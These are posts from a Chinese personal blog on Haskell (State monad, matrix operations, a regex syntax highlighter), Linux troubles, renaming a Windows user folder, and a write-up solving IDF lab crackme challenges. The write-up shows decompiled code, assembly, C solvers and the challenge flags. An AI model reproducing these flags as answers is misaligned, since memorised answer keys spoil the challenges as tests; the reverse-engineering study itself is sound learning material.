    pop

结果应该是:

ghci> runState test []
(5,[4,3])

怎么用>>=改写上面的do notation呢？

do实际上是嵌套的>>=的一个语法糖，x <- foo 就是一个绑定，而且一旦绑定，在之后的语句里也可以使用x了，所以相当于foo >>= (x -> 后面的语句)。下面的两段程序是等价的，第二段程序为了最后能用return （x*y），就得两个lambda嵌套起来。

i = do
    x <- f 3
    y <- f 4
    return (x * y)

j = f 3 >>= (\x ->
    f 4 >>= (\y ->
    return (x * y)))

但是do里面也可以不用绑定，不用绑定的话，>>=也可以不必嵌套，而且和上面的不同，这里有push和pop两个函数，pop相当于act1，push则是fact2，他们的行为不同， >>= 的前面必须是一个act1类型，后面必须是fact2类型，如果用>>=串起来应该是 pop >>= push >>= push >>= push，但是要push三个值，push并不需要从>>=接收值，可以用lambda来更改(因为没有利用到前面的值，所以这里嵌套与否都没问题)：

test' :: State Stack Int
test' = push 3 >>= (\_ -> push 4) >>= (\_ -> push 5) >>= (\_ -> pop)

ghci> runState test' []
(5,[4,3])

最后，书里的>>= 实现是这样子的：

(State h) >>= f = State $ \s -> let (a, newState) = h s
                                    (State g) = f a
                                in  g newState

现在看来就好懂多了。对于State Monad，>>=的意义是，等待一个初始状态，取一个带状态计算，讲初始状态应用到带状态计算上，得到一个值和新状态，值和>>=右边的函数应用得到新的带状态计算，这个带状态计算又和新状态作用，得到最终值和最终状态。当然这里的值和状态都可以继续传递下去，形成一条链。

（我觉得State Monad有个反人类的地方就是，本来按顺序沿着>>=处理状态，偏偏初始状态是放在最右的)

不求甚解者用不好 Linux

2015-03-27T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

今晚无聊到写这么一篇废话, 很大程度上是想自我批评一下.

因为这学期又开始做手头的OS67, 打代码的环境就又切换到Linux下来了, Linux用得频繁了, 自然就会想折腾了. 但是在这几天的折腾过程中, 我发现我似乎不是那么适合使用Linux.

虽然从开始装双系统到现在小半年有余, 可我还是不能顺利的解决我遇到的问题, 并且每次的解决方案总是做到「刚刚好能解决问题」为止, 从遇到问题开始, 搜索答案 -> 尝试解决 -> 找到解决方案, 然后这个周期就结束了.

我很少去仔细思考, 「为什么会发生这种问题」「为什么这样做能解决问题」, 而发生问题的时候我也很难冷静下来看资料, 经常是随便把页面里的代码试一遍, 我甚至不知道用什么关键词去Google.

比如说呢, 这个暑假回家带了一台旧笔记本回来, 想要在上面只装一个openSUSE 13.2, 安装过程一切顺利, 安装完毕后把系统更新到最新后就没法开机了, grub似乎正常, 卡在了initrd /boot/initrd-3.16.7-7-desktop这里, 可选的另一个是initrd-3.16.6-2-desktop, 这似乎是内核版本? 在网上搜索了很久, 凡是贴近这种情况的资料几乎都是英文的, 基本看不懂. 而且我连Rescue CD都不会用, 谈何修复? 最后我只能忍着不zypper up, 用着不更新的openSUSE.

又比如今天折腾wine, (我甚至觉得这根本不是折腾...), openSUSE社区的HillWood维护了一个项目叫winetricks-zh, 可以通过他很方便地安装「符合中国国情」的各种软件, 比如QQ, 斗地主, 美图什么的. 当然我只是想用QQ(或许再加上个网易云音乐?). winetricks 本来是一个脚本, 用来快速下载wine下能跑的Windows软件的, 它的使用已经相当简单了:

git clone git@github.com:hillwoodroc/winetricks-zh.git
cd winetricks-zh
cp winetricks /usr/bin/winetricks
cd verb
winetricks

最开始安装的是QQ轻聊版, 在winetricks qqlight.verb时遇到问题, 首先脚本要从Sourceforge上拉东西, 要备一张梯子(所以也折腾了一会儿的GoAgent), 安装好了之后打开来, QQ却莫名假死, 不能操作, 而且在安装完成后启动一次, 桌面上没有启动器, 我以为要自己去挂载的磁盘上找, 但是也找不到.

尝试几次都得到错误的结果后我就怀疑是wine-64bit的问题, 如果你只安装wine-32bit的话, winetricks就会提示 wineserver not found, 不能启动, 安装了完整的wine包, 默认的wine却是64bit的, 但是再切换32bit之后依然错误.

在这之后我就把所有的配置~/.wine, ~/.local/share/applictions和~/.local/share/wineprefixs 全都删除了, 再把和wine有关的包统统删掉, 又重新安装了一次, 桌面终于出现了启动器, 但是依然卡死. 最后我放弃了用轻聊版, 用了QQ正式版, 出乎意料地顺利(checksum错误竟然没问题?) 勉强安装是安装成功了, 速度还好.

但是在这整个的过程中, 我感觉我并没有学到了什么, 在不断地尝试中我只是把Linux看成了一种玄学, 「或许多试几次就成功了呢?」,「把这里改一下或许就不报错了呢?」

然后在好不容易成功了之后, 我就几乎不想再去动它了, 我还是不明白为什么这样做成功了, 那样做为什么就不对...

是否就是这种不求甚解的心态阻止了我的前进呢? 我怕麻烦, 觉得弄不懂, Linux的世界太复杂了, 不明白苏姐他们到底经过了怎样一番努力才能如此熟悉一个发行版.

不求甚解者, 玩不好Linux, 这句话其实还可以继续推广, 不求甚解者, 当不好黑客, 写不好代码, 画不好画......

我曾经在知乎上提了一个问题, 发现自己不愿意思考怎么办, 现在想想, 「不求甚解」也是浮躁的一种表现吧?

感觉我的问题, 白提了呢.

睡觉吧, 或许明天起来后, 突然就知道应该这么做了.

顺道一说, 今晚水了一道AliCTF的Reverse题...估计也就这一道了.

用 Haskell 实现的矩阵运算

2015-03-17T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

这学期开线性代数, 虽然我一向不喜欢数学, 本着将Haskell运用到实践中的精神, 想把上课教的几个矩阵运算写出来...虽然调试了半天, 回头一看, 好吧原来这么久简单的东西花了我那么多时间.

虽然到现在的我都没把趣学指南看完因为课有点多事实上是太懒了, 只看到了State Monad这里吧, 还不是太懂, 一旦碰到「作为Monad值的函数」,「作为Applicate值的函数」这种东西我就抓瞎了.

说回矩阵吧, 用Haskell写这个还是挺爽的, 相较于C来说:

不用和各种数组下标打交道
经常编译不过, 但一旦通过编译, 往往就得到正确的结果了
函数出乎意料地短, 数乘和矩阵加减本来都是用递归实现的, 写完后发现原来分别可以用map和zipWith来替代, 一下子长度就缩短了一半不止

各种类型错误让我想起了以前写Delphi的时候...

实现矩阵转置的时候卡了一下, 我原来写的是

transpose :: Matrix -> Matrix
transpose (Matrix []) = Matrix []
transpose (Matrix ys) = map head ys : transpose (Matrix $ map tail ys)

一直爆empty list exception, 因为pattern matching 不到 ys, 最后一步是[[],[]...] 而不是[], 上网查了一下矩阵转置函数才知道可以用[]:_来匹配.

对于矩阵乘法, 我采取的是将右边那个矩阵转置, 这样就可以简化成行乘行, 左边矩阵拆成单行乘过去.

在用$的时候总是遇到问题...总是报错, 也不知道为什么...我把简单地$当成让函数右结合的操作符, 但是如果写: getMartix $ Matrix xs `mmul ys` 就错误. 看来理解还是有偏差的.

下面的代码分别实现了:

矩阵加法 plus
矩阵减法 sub
矩阵数乘 smul
矩阵乘积 mmul
矩阵的Eq实例和show实例

到底乘法用的是 multiplication 还是 product 呢... 好奇怪.

因为定义矩阵直接用了 [[Int]], 无法限制每个list的长度, 所以并不能保证这个Matrix里面肯定是一个符合定义的矩阵, 这个不知道怎么加以限制.

看看接下来教的什么或许可以再往代码里加点东西, 改天看看别人是怎么写的.

data Matrix = Matrix {getMartix :: [[Int]]}

smul :: Int -> Matrix -> Matrix
i `smul` Matrix xs = Matrix $ map (map (*i)) xs

plus ::  Matrix -> Matrix -> Matrix
Matrix xs `plus` Matrix ys = Matrix $ zipWith (zipWith (+)) xs ys

sub :: Matrix -> Matrix -> Matrix
Matrix xs `sub` Matrix ys = Matrix $ zipWith (zipWith (-)) xs ys

transpose :: Matrix -> Matrix
transpose (Matrix ([]:_)) = Matrix []
transpose (Matrix xs) =
    Matrix $ map head xs : getMartix (transpose $ Matrix $ map tail xs)

mmul :: Matrix -> Matrix -> Matrix
Matrix [] `mmul` _ = Matrix []
Matrix (x:xs) `mmul` ys =
    Matrix $ (mul_ x $ getMartix (transpose ys)) : getMartix (Matrix xs `mmul` ys)

mul_ :: [Int] -> [[Int]] -> [Int]
mul_ _ [] = []
mul_ x (y:ys) = sum (zipWith (*) x y) : mul_ x ys

instance Eq Matrix where
    Matrix [] == Matrix [] = True
    Matrix (x:xs) == Matrix (y:ys) =
        length x == length y && and (zipWith (==) x y) && Matrix xs == Matrix ys

instance Show Matrix where
    show (Matrix []) = ""
    show (Matrix (x:xs)) = show x ++ "\n" ++ show (Matrix xs)

把 Windows 中文用户名改为英文

2015-03-08T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

上次暑假回家重装系统, Win 8.1 和 openSUSE 13.2, 在同步Outlook账号的时候, 没注意到当前我的账户名是中文的. 导致了我在 C:\Users\ 目录下的用户目录变成了中文的. n 本来以为问题不大, 没想到有些程序对中文路径名的支持还是这么差.

首先是Virtual Box, 虽然能够安装上, 但是无论如何虚拟机就是打不开, 经确认是因为路径的关系了, 再接着是Haskell Platform, cabal update 的时候也是报错说路径错误什么的.

因为重装系统就要把两个一起重装了, 实在麻烦(事实上是我还不会用Grub). 我在网上稍微百度了一下怎么在不重装的情况下把用户目录给换成英文的. 但是实在找不到简单又靠谱的方法, 都是改注册表什么的, 也就作罢. 放假回来下午稍微一折腾, done.

首先在我的电脑->管理->本地用户和组->用户 新建一个用户,名字要是英文的, 全称就随便了, 我写了LA, 新建后右击选择这个新账户的属性, 在隶属于标签页输入对象Administrators, 就是把它归入Administrators组的意思. 你可以在本地用户和组->组里面看到它.
然后在开始屏幕先把自己注销, 再切换到这个新的账户LA, 刚刚进入的时候, 会做一些初始化的工作, 等就行了.
进入系统到 C:Users`目录, *在文件夹选项中选择显示隐藏文件*, 对旧账户文件夹右键, 取得管理员所有权, 然后把所有文件覆盖到`C:UsersLA下, 复制不过来的就算了.
重启一次, 登陆到LA , 看看之前的软件的配置是否没哟改变.(桌面配置就无法保留了.
回到中文名账户把Outlook连接关闭, 切换到本地账号, 注销回到LA, 把原来的账号删掉.
把新账户连接到Outlook, 等他同步完.
配置文件强制迁移后可能还是会有些问题, 有可能有些软件硬编码了你的用户路径, 这就只能把个别软件配置删掉了, 自行到 LAAppData 中找.
- 我遇到的另一个问题是OneDrive同步失效了,打开OneDrive的Metro版, 显示"找不到此位置", 在文件夹导航栏中也找不到OneDrive,图标栏也没有. 我的解决方案是: 到LAAppDataLocalMicrosoftWindowsSkyDrive (我这里真的是SkyDrive)中把Setting文件夹剪切掉, 过一会OneDrive就自动开始同步了, 这个时候把同步暂停, 更改同步位置, 把以前的旧文件覆盖过去就行了.

Done.

Syntax Highligh.hs

2015-02-16T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

书还没看完，不过还是很想用Haskell写点什么出来，所以简单地实现了一个基于替换的Java代码高亮。

不过这种替换的做法有很大的问题，当你的字符串或者注释里出现了关键字，那么里面也会被高亮，有个想法就是将整段代码按是否高亮划分为一些元素:

关键字
字符
宏
字符串
块注释
行注释
数字
函数
空白
其他

然后按顺序一个个用正则取出，使得每一个元素都只能被着色一次，不过这个想法暂时没实现。

正则

双引号的转义

另外遇到的问题是正则表达式，首先是双引号内字符串的匹配问题，对正则不熟悉，试了很多次都没法匹配，因为考虑了反斜杠对引号的转义问题，从语言描述上可以说：

匹配两个引号之间的尽量短的所有内容，并且内容中不能包含回车和没有被转义的引号（即只能包含左侧有奇数个反斜杠的引号）

写正则实在是太烧脑子了，匹配奇数个可以用 [^\]((\\)*\") ，然后最后面的引号只能左侧包含偶数个引号 [^\]((\\)*") （本来可以将两个分组用后向引用省略了，试了一下发现错误，也不知道怎么解决）最后写出来是恶心的表达式："(.|[^\](\\)*")*?[^\](\\)*"，但是还是有问题:

"regexp"

匹配 "regexp"

"regexp"regexp"

匹配 "regexp"regexp"

"reg " exp"reg"exp"

匹配 "reg " 和 "reg"

"reg """regexp"

匹配 "reg \" 和 ""regexp"

就最后一个错了，因为"也是满足[^\](\\)*"的，懒得再想了。

反斜杠的转义

还有一个问题，也是转义，本来为了代码的简洁，将正则表达式写在了文件里，每行一个，逐行读取，接下来读每个正则对应的颜色，代码很漂亮：

handle <- openFile "keywords.txt" ReadMode
pattern <- sequence . replicate 5 . hGetLine handle
color <- sequence . replicate 5 . lhGetLine handle
let patCol = zip pattern color

后来发现没法匹配块注释/*(.|n)**/，原因在于表达式里面的n只是代表回车，而当你从文件里面读 “n” 的时候，他就真的是“n” 了，他代表一个反斜杠和一个字符n。你没法从文件的一行里面读取一个回车吧，并且n后面还有内容，所以这种方案失败，我只把关键字放在了文件里。代码变成了：

pattern' = [ "/\\*(.|\n|\r)*\\*/"
           , "//.*"
           , "#.*"
           , "\"(.|(\\\\\\\\)*\\\\\")*[^\\\\](\\\\\\\\)*\""
           ]
color = ["Purple", "Gray", "Red", "Green", "Blue"]
main = do
        keywords <- readFile "keywords.txt"
        let pattern = pattern' ++ [keywords]
            patCol = zip pattern color

这里又引发一个问题是：之前本来不用转义的 " 变成了 "，需要转义一次的 \，变成了\\，表达式更难看了。而且需要注意到的是最难看的那个表达式里面的懒惰匹配 “?” 没有出现，我一加他就出错。所以出现了更多的问题，效果比在测试器里面的还差。

Haskell

除了了上面那些讨厌的问题之外，对于Haskell本身，也有一些不适应的地方。

IO用起来束手束脚

Haskell的IO()像是一种具有传染性的代码（诶我说的不是GPL），一个函数中一旦出现了IO操作，函数的返回值就被限定为 IO()，导致你没法往外传参数，除非你把值包裹在IO()里变成IO(String)这样一种结构，调用这个函数的函数也必须是IO操作，这一循环直到main才终止。当然Haskell这样做肯定是有它的理由的，但是他们所说的“纯粹与非纯粹的分离”，我还暂时体会不到这样做的好处。

不知道这么写是否合适

我将正则保存在一个列表，将每个正则对应的颜色保存在另一个列表，再从文件里读取匹配关键字的正则加在第一个列表的尾部，合并两个列表；
将要着色的文件读出，传给htmlen函数；
htmlen函数调用rep函数对代码进行着色（用左折叠flodl的方式调用），然后为返回的结果加上html的头部尾部标签还有样式；
rep函数接受htmlen传给的文件内容，以及存有正则和颜色的二元组，每一次对文件中匹配该表达式的模式加上<font color>标签

不知道这么写是否正确，什么才是好的代码，这个问题至今还是很模糊啊。（不过谈论这个问题之前应该把前面那些问题先解决了才是）

import System.IO
import Text.Regex.Posix
type Pattern = String
type Color = String
{- Highlighter in Haskell -}
main :: IO()
main = do
        putStrLn "Reading config..."
        keywords <- readFile "keywords.txt"
        let pattern = pattern' ++ [keywords]
            patCol = zip pattern color
        putStrLn "Processing..."
        contents <- readFile "test.java"
        writeFile "test.java.html" $ htmlen contents patCol
        putStrLn "Finished."

htmlHead = "<!DOCTYPE html><head><meta charset=\"utf-8\"></head>"
htmlStyle = "<style>code{font: 14px/200% \"Consolas\";}</style><body><pre><code>"
htmlLast = "</code></pre></body></html>"
htmlen :: String -> [(Pattern, Color)] -> String
htmlen str patCol = let htmlBody = foldl rep str patCol
                        in htmlHead ++ htmlStyle ++ htmlBody ++ htmlLast

rep :: String -> (Pattern, Color) -> String
rep code patCol@(pattern, color)
    | code =~ pattern == True
            = (\(_head, x, _tail) -> _head ++ ls ++ x ++ le ++ rep _tail patCol)
              (code =~ pattern)
    | otherwise = code
    where ls = "<font color=" ++ color ++ ">"
          le = "</font>"

pattern' = [ "/\\*(.|\n|\r)*\\*/"
           , "//.*"
           , "#.*"
           , "\"(.|(\\\\\\\\)*\\\\\")*[^\\\\](\\\\\\\\)*\""
           ]
color = ["Purple", "Gray", "Red", "Green", "Blue"]

最后的结果如下：

可以看到最后一个字符串是着色错误的。

Hello Haskell

2015-01-30T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

我想学Haskell的原因在很大程度上拜轮子叔所赐，前一阵子在图书馆意外发现了一本 ^{Render Report}

，这下子更没有不学的理由了。

多说一句，有趣的是这本书的译者之一竟然是 ^{Render Report}

，我曾经好几次发邮件询问他有关OS的事情，没想到在图书馆借到了他的书。。。另一个译者是蓝莲花的 👤 MaskRay ，曾经在中大听过蓝莲花的宣讲会，可惜当时他并没有在场。不得不说世界真是太小了.

好了说点正事。

安装

Haskell的编译器是GHC，我的系统是openSUSE，安装ghc可以直接sudo zypper in ghc, 但是比ghc更方便的是Haskell Platform, 安装同样可以sudo zypper in haskell-platform, 在 Windows 上则可以直接去官网下载安装包。

随便说说

因为借书的时候已经是考试周的前夕，所以到现在翻看书的时间仅限于之前在阅览室里无聊的那一会还有回家的路上，现在是第五章，似乎有点初窥门径的感觉，又怕是自己想得太简单了。总得来说是这么些感受吧：

列表推导式很神奇，[x | x <- xs , x < 100],其形式类似于之前用来描述集合的公式，之前上离散的时候不明白为什么要有谓词这个鸡肋的概念，原来可以用在这里;
类型类（Type Class）: 有点像是接口之类的东西，这个类型类的实例具有特定的特征，类型类也必须为这些实例提供对应的方法，两个数如果可比较（Ord），那么就能判断这两个数的相等性（Eq）;
模式匹配（Pattern Macthing）: 一开始我自动脑补成了函数的重载，但其实不是重载，因为函数的参数根本就没有改变。是不是觉得模式匹配只是可以避免if-else而已，类似于case？后来书里也说到了模式匹配就是case的语法糖，我暂时是说不出模式匹配到底有什么特别的地方，但是在写递归函数的时候模式匹配用起来特别顺手；
递归：拜模式匹配所赐，递归在Haskell写起来真是漂亮极了。
柯里函数（Curry Function）：请注意他的命名来自于 Haskell Curry, 对，和Haskell这个名字的来源一样。柯里函数的出现解释了为什么接受多个参数的函数的声明必须类似于a -> b -> c 而不是 a, b -> c, 柯里函数是一个一元函数，每次调用只接受一个参数，并返回一个固化了该参数的一元函数，书里的比喻非常有趣，对于代码：

multThree :: Int -> Int -> Int -> Int
multThree x y z = x * y * z

你可以将函数看做小工厂，它们会取一些原材料，然后生产一些东西，对于上面的代码，执行 multThree 3 5 9，我们将数值3喂给multThree工厂，这个工厂产生了一个更小的工厂，这家小工厂得到数值5，继续搞出来一家小工厂，第三家工厂得到数值9,产出最终的结果，也就是135。

qsort :: (Ord a) => [a] -> [a]
qsort [] = []
qsort (x:xs) = qsort lteq ++ [x] ++ qsort gt
    where lteq = [a | a <- xs, a <= x]
          gt = [a | a <- xs, a > x]

对于我这种初学者来说，最有诱惑力也最后成就感的自然就是三行快排了。。。诶，去掉声明就是三行了。当然还会有更加厉害的实现，不过，先这样好了。

IDF 实验室逆向题部分题解

2015-01-02T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

地址在这里：IDF逆向题这些题都比较水，好在我和它一样水。

Python BtyeCode:

好像是用Cpython编译的, 手头没工具, 用的是师兄给的反编译出来的代码:

def encrypt(key, seed, string):
    rst = []
    for v in string:
        rst.append((ord(v) + seed ^ ord(key[seed])) % 255)
        seed = (seed + 1) % len(key)
    return rst
if __name__ == '__main__':
    print "Welcome to idf's python crackme"
    flag = input('Enter the Flag: ')
    KEY1 = 'Maybe you are good at decryptint Byte Code, have a try!'
    KEY2 = [
        124, 48, 52, 59, 164, 50, 37, 62, 67, 52, 48, 6, 1,
        122, 3, 22, 72, 1, 1, 14, 46, 27, 232]
    en_out = encrypt(KEY1, 5, flag)
    if KEY2 == en_out:
        print 'You Win'
    else:
        print 'Try Again !'
    def encrypt(key, seed, string):
    rst = []
    for v in string:
        rst.append((ord(v) + seed ^ ord(key[seed])) % 255)
        seed = (seed + 1) % len(key)
    return rst
if __name__ == '__main__':
    print "Welcome to idf's python crackme"
    flag = input('Enter the Flag: ')
    KEY1 = 'Maybe you are good at decryptint Byte Code, have a try!'
    KEY2 = [
        124, 48, 52, 59, 164, 50, 37, 62, 67, 52, 48, 6, 1,
        122, 3, 22, 72, 1, 1, 14, 46, 27, 232]
    en_out = encrypt(KEY1, 5, flag)
    if KEY2 == en_out:
        print 'You Win'
    else:
        print 'Try Again !'

正常人反着推肯定是写: arr[i] - (key[seed] ^ seed) 不过这样肯定推不出来, 因为出题人写错了… (师兄想出来的… 打死我也不知道是题目错了啊…), 出题的用了正确的算法给出密文之后, 把 rst.append((ord(v) ^ ord(key[seed]) + seed) % 255) 写成了: rst.append((ord(v) + seed ^ ord(key[seed])) % 255) 所以没必要深究什么了,代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
int main(){
    unsigned char arr[] = {
        124, 48, 52, 59, 164, 50, 37,
        62, 67, 52, 48, 6, 1, 122, 3,
        22, 72, 1, 1, 14, 46, 27, 232, 0};
    const char key[] = "Maybe you are good at decryptint Byte Code, have a try!";
    char flag[100];
    int tmp;
    int seed = 5;
    for (int i = 0; i < 23; i++){
        tmp = (arr[i] ^ key[seed]) - seed;
        flag[i] =abs(tmp)%127; //事实上为什么要%127也不太清楚
        while (flag[i] < 32 || flag[i] > 127){
            if (flag[i] < 32) flag[i] = flag[i] + 255;
            if (flag[i] > 127) flag[i] = flag[i] - 255;
        }
        printf("arr[%d] = %d; key[%d] = %d; ^ = %d flag[%d] = %d;\n",
                i,arr[i],seed, key[seed],key[seed]^seed, i, flag[i]);
        seed = (seed + 1)%strlen(key);
    }
    puts(flag);
    printf("\n");
    system("pause");
    return 0;
}

flag: WCTF{ILOVEPYTHONSOMUCH}

简单的ELF逆向:

这题是ELFx64位的CrackMe, 只能用IDA啦, 载入之,师兄叫我用F4 F5,不过64位的IDA好像没有F5, 找到main函数, F4, 得到代码:

addr_0x400900_12:
{
    v13 = 0;
    if (v3 != 22) {
        v13 = 1;
    }
    v14 = 0;
    while ((unsigned char)(uint1_t)(v14 <= 16) != 0) {
        eax15 = (int32_t)(uint32_t)(unsigned char)v8;
        if ((int32_t)*(signed char*)&eax15 != 0) {
            v13 = 1;
            *(int32_t*)&rsi = 0;
            *((int32_t*)&rsi + 1) = 0;
            printf("%d", 0);
        }
        ++v14;
    }
    eax16 = (int32_t)(uint32_t)(unsigned char)v17;
    if (*(signed char*)&eax16 != 48
            || ((eax18 = (int32_t)(uint32_t)(unsigned char)v19, *(signed char*)&eax18 != 56)
                || ((eax20 = (int32_t)(uint32_t)(unsigned char)v21, *(signed char*)&eax20 != 50)
                    || ((eax22 = (int32_t)(uint32_t)(unsigned char)v23, *(signed char*)&eax22 != 51)
                        || (eax24 = (int32_t)(uint32_t)(unsigned char)v25, *(signed char*)&eax24 != 0x7d))))) {
        v13 = 1;
    }

    puts("\r", rsi);
    /* v13 应该是一个标志变量 */
    if (v13 != 0) {
        puts("u r wrong\r\n\r", rsi);
        rax26 = main("u r wrong\r\n\r", rsi);
    } else {
        puts("u r right!\r", rsi);
    }
    return 0;
addr_0x4008ff_7:
    goto addr_0x400900_12;
}

果然代码的可读性不是很好, 前面的printf之类的被我省去了, 重点放在while循环和那个if上, 可以看到if要求的是几个变量必须分别为 0, 8, 2, 3,} 应该就是flag 的后部分了, 从最后的判断right和wrong可以看出v13是判断正确与否的变量.

while 循环实在是难懂, 乖乖回去看汇编好了. 右键选择Graphic View模式, 这样汇编代码显得很清晰, 把重点放在while循环对应的那部分, 简单分析得到, 红笔标注的地方就是程序内为数不多的循环了, 循环之后多条并排的绿线那里是多路if,最后的是正确与否的判断以及输出.

关键代码如下, interator 对应var_14, arr_1 对应var_40, arr_2 对应 var_c0:

loc_40097C:
cmp     [rbp+iterator], 10h    ; 循环总次数
setle   al
test    al, al
jnz     short loc_40091D

loc_40091D:
mov     eax, [rbp+iterator]    ; 装入循环变量
cdqe
movzx   eax, [rbp+rax+arr_1]
movsx   edx, al        ; 取出(unsigned char)arr_1[iterator], 数组元素只有一个字节
mov     eax, [rbp+iterator]
cdqe
mov     eax, [rbp+rax * 4+arr_2] ; 取出(int)arr_2[iterator], 四个字节
sub     eax, 1        ; eax = eax - 1
mov     ecx, eax     ; ecx = eax
shr     ecx, 1Fh    ; ecx = ecx >> 0x1f
lea     eax, [rcx+rax]    ; 装入地址其实就是 eax = ecx + eax;
sar     eax, 1         ; eax = eax >> 1
cmp     edx, eax     ; 比较arr_2[iterator]经过运算的值是否等于arr_1[iterator]
jz      short loc_400978    ; 等于则跳

loc_400978:
add     [rbp+iterator], 1

经过以上分析可以知道 arr_1 应该是我们输入的key, 所以有必要知道arr_2 的值, 跳转到arr_2的定义:

是空的… 但是我们回到代码中, 对arr_2有这样的操作:

刚好17个项(0-10h), 所以说 arr_i[i] = ((arr_2[i] – 1) + (arr_2[i] – 1)>>0x1f)>>1 (忽略了shr 和 sar 以及各种细节问题… 所幸没有出错) (vim 来处理这些最爽了)

代码:

#include <cstdio>
#include <cstdlib>
#define N 17
int arr_2[N] = {
    0x0EF, 0x0C7, 0x0E9, 0x0CD, 0x0F7, 0x8B, 0x0D9,
    0x8D, 0x0BF, 0x0D9, 0x0DD, 0x0B1, 0x0BF, 0x87,
    0x0D7, 0x0DB, 0x0BF
};
int main(){
    for (int i = 0; i < N; i++){
        int ch = ((arr_2[i] - 1) + ((arr_2[i] - 1) >> 0x1f))>>1;
        /*注意一下 >> 的优先级*/
        printf("%c",ch);
    }
    printf("0823}\n");
    system("pause.");
    return 0;
}

flag: wctf{ElF_lnX_Ckm_0823}

简单的PE文件逆向:

x86平台, 双击没法运行, 应该需要某个古老的C++运行时, 那就放弃用OD了, IDA载入, 稍微翻一翻(其实是不知道如何有效定位), 0x4113a0处就是关键处, F5之, 这次代码好看多了, 可以看出和上一个CrackMe基本相同…

flag = 0;
for ( i = 0; i < 17; ++i ){
    if ( v76[i] != byte_415768[*(&v53 + i)] )
        flag = 1;
}
if ( v77 != 49 || v78 != 48 || v79 != 50 || v80 != 52 || v81 != 125 )
    flag = 1;
    v76[v75] = 0;
    printf("\r\n");
    sub_411136();
if ( flag )
{
    printf("u r wrong\r\n\r\n");
    sub_411136();
    sub_41113B();
}
else
{
    printf("u r right!\r\n");
    sub_411136();
}
system("pause");

同样是把flag分成两部分, 后面五个必须是1024},前面的在一个for循环里算出: v76[i] != byte_415768[*(&v53 + i)] 通过一个数组v53[]运算出下标, 再用下标从另一个数组byte_415768[]取出值来, 数组是:

v53 = 1;
v54 = 4;
v55 = 14;
v56 = 10;
v57 = 5;
v58 = 36;
v59 = 23;
v60 = 42;
v61 = 13;
v62 = 19;
v63 = 28;
v64 = 13;
v65 = 27;
v66 = 39;
v67 = 48;
v68 = 41;
v69 = 42;
byte_415768 db 73h
    db 'wfxc{gdv}fwfctslydRddoepsckaNDMSRITPNsmr1_=2cdsef66246087138',0

要注意byte_415768[]的一个元素s(73h)没有被识别. 所以:

#include <cstdio>
#include <cstdlib>
int v53[] = {
    1, 4, 14, 10, 5, 36, 23, 42, 13,
    19, 28, 13, 27, 39, 48, 41, 4
};
char byte_415768[] = "swfxc{gdv}fwfctslydRddoepsckaNDMSRITPNsmr1_=2cdsef66246087138\0";

int main(){
    for (int i = 0; i < 17; i++){
        printf("%c", byte_415768[v53[i]]);
    }
    printf("1024}\n");
    system("pause");
}

flag: wctf{Pe_cRackme1c1024}

"regexp"	匹配 "regexp"
"regexp"regexp"	匹配 "regexp"regexp"
"reg " exp"reg"exp"	匹配 "reg " 和 "reg"
"reg """regexp"	匹配 `"reg \"` 和 `""regexp"`

银色子弹

sphinxnotes-incrbuild: Enabling Sphinx incremental builds in CI/CD environment

chezetc: Extending chezmoi to manage files under /etc

A set of smooth, fzf-powered shell aliases&functions for systemctl

Motivation: The Pain Point

The Vision: What I Wanted to Build

Implementation: Breaking Down the Script

1. The Basics: Aliases

2. The Heart: Taming Systemd with FZF

3. The Complete Function

4. The Magic: Dynamic Function Generation

Final Thoughts

2024 更新日志

工作？不用了

泡在名为「溢出的价值」的温水里

来日后会相予期，去去莫迟疑

The day after last day

再见杭州

肺炎夺走的是什么？

失去信念的人，举起画笔

造型：遗忘、拖沓和平淡的获得

创作：叔本华的钟摆

那个让我放下笔的人

《有星星和微风的夜晚》的预言之子

几个亮晶晶的问号和一撮毛茸茸的阳光

局促又绵长的第一天

放下笔的日子

巨变之下的其他生活

开源

社区贡献

Sphinx Notes 过家家

衣食住行

娱乐

总结

将域名从 GoDaddy 转移至 Cloudflare

大家都知道的基础知识

老用户不如狗

货比三家

域名转移流程

小小坑点

Golang 中避免 []bytes 和 string 转换开销的正确方法

背景和现状

unsafe is not safe

不完美的解决方案们

编译优化

Go1.22: zero-copy string → []byte conversions

Go1.5: bytes comparison

Go1.3: map lookup

标准库使用姿势

strings 和 bytes

io.Writer 和 io.StringWriter

strconv.AppendXXX

Go1.20: strconv.ParseXXX

Go1.19: fmt.Append{,f,ln}

脚注

在 Linux 环境下录音

设备

独立声卡

录制

The Unix way: 直接录制

The Pro way: Digital Audio Workstation (DAW)

参考

2023 更新日志

工作

受挫、从探索到计件

摆烂、屎的制作与食用、报应、字节强度

无法成为专家

迷茫的生活可以辞职吗？

开源

第一笔开源捐赠

The Sphinx Notes Project

简单粗暴的东西好流行

凯尔特歌集、简谱和说中文的剑桥科学家 [3]

画画

迷茫的生活不能画画吗？

怀柔的机器人 [5]

重返燕郊

厕所画室

生活

身体

Go1.22: zero-copy `string` → `[]byte` conversions

`strings` 和 `bytes`

`io.Writer` 和 `io.StringWriter`

`strconv.AppendXXX`

Go1.20: `strconv.ParseXXX`

Go1.19: `fmt.Append{,f,ln}`

The `sphinxnotes-comboroles` extension

`sphinx.ext.extlink`

`sphinxnotes.strike`